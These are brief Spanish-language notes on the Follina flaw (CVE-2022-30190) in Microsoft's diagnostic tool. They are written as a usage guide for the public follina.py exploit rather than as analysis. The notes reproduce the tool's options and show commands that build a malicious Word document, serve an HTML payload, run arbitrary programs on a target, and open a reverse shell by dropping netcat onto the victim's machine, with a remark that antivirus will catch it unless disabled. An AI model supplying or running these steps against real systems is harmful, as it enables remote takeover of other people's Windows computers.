
Notas relacionadas con CVE-2022-30190
Notas relacionadas con CVE-2022-30190
FOLLINA: CVE-2022-30190
Usa la Herramienta de diagnóstico de soporte de Microsoft (MSDT)
Explota la ventana de diagnóstico abierta para el diagnóstico y, cuando se ejecuta correctamente, proporciona una shell inversa al atacante.
Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py
Gracias a: (a). @_johnhammond (b). @networkchuck
Uso follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)
Ejemplos
(a). Ejecutar calc.exe:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
(b). Ejecutar notepad.exe:
$ python3 follina.py -c "notepad"
(c). Obtener una shell inversa en el puerto 9001.
Nota: esto descarga un binario de netcat en la víctima y lo coloca en C:\Windows\Tasks. No limpia el binario. Esto activará
las detecciones del antivirus a menos que el antivirus esté deshabilitado.
$ python3 follina.py -r 9001